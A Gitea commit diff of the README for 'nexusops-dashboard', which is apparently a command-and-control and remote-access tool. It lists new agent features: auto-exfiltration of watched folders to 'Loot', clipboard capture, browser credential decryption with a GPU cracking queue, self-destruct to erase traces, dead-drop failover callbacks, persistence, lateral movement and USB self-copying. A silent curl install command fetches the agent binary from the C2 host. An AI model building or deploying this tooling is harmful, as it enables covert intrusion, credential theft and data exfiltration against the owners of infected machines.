drjones/nexusops-dashboard
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

v2.4.0: pivot_fetch (fetch through node), clipboard capture, watch_dir auto-exfil, self-destruct TTL (14d default), dead-drop failover URLs, local cred decryption (Firefox+Chromium-v10)+GPU queue, per-node LLM analyst brief (nightmare ollama), topology capture+SVG map, critical-only Telegram alerts, ATTACK-PLAN tracker

Browse Source
This commit is contained in:
Hermes
2026-10-01 16:43:53 +00:00
parent 6c08318d88
commit 965cba58b4
5 changed files with 467 additions and 26 deletions
Download Patch File Download Diff File Expand all files Collapse all files

15
README.md
View File

@@ -5,7 +5,7 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin
**Public URL:** https://agent.thetempleofdoom.com
**Runs on:** CT 111 `c2-builder-slay` (10.30.20.44), Node.js + Express, port 3000, systemd `nexusops-dashboard.service`
**Gitea:** http://10.30.20.149:3000/drjones/nexusops-dashboard
**Agent version:** v2.3.0 · Dashboard v3 (live console, schedules, groups, alerts, spread, lateral movement)
**Agent version:** v2.4.0 · Dashboard v3 (live console, schedules, groups, alerts, spread, lateral movement)
---
@@ -25,6 +25,15 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin
| **Persistence toggle** | Every install path (installers, universal, binder) takes `persist=0` to install without reboot-survival hooks — checkbox in the UI with hover explanation |
| **Broadcast & Groups** | One command to all nodes or a tag group; scheduled recurring tasks |
| **Audit & Export** | Full command audit log, kill switch, Export All (tar.gz of entire data store) |
| **Pivot fetch** | Fetch internal URLs THROUGH a node (reach its LAN from the dashboard) |
| **Clipboard capture** | Clipboard changes recorded into input capture (desktop nodes) |
| **File watcher** | `watch_dir` — new files in a watched directory auto-exfil to Loot |
| **Self-destruct TTL** | Agent wipes itself + persistence 14 days after activation (default; `NEXUS_TTL_DAYS` to change, 0 = wipe immediately, -1 = never) |
| **Dead-drop failover** | Server hands agents fallback callback URLs; they retry those if the primary is down |
| **Credential decryption** | Firefox (empty master pw) + Linux Chromium v10 logins decrypted locally at harvest; GPU brute queue at `/api/decrypt/queue` (worker: hashcat on nightmare 4080S) |
| **AI analyst** | Per-node "AI Brief" button — local Ollama (nightmare) summarizes the machine + loot in plain English |
| **Topology map** | Auto-drawn network graph: nodes + every host discovered by lateral scans |
| **Critical-only Telegram** | Kill switch / new node / creds harvested / node-offline push to Telegram (token server-side only) |
| **Security** | Operator token (dashboard + API), agent token (embedded automatically in every install path), token-gated WebSocket |
| **UX** | Hover tooltips explaining every term, empty-state install hero, toasts, dark design system |
@@ -52,9 +61,9 @@ curl -sSL https://agent.thetempleofdoom.com/bin/NexusAgent -o NexusAgent && chmo
**Agent flags:** `--server URL` · `--silent` · `--quiet` · `--token TOKEN` (baked/optional) · `--persist-first` (persistence immediately after register)
## Agent actions (26)
## Agent actions (28)
`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb` · `open_ssh` · `lateral_movement`
`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb` · `open_ssh` · `lateral_movement` · `pivot_fetch` · `watch_dir`
## Architecture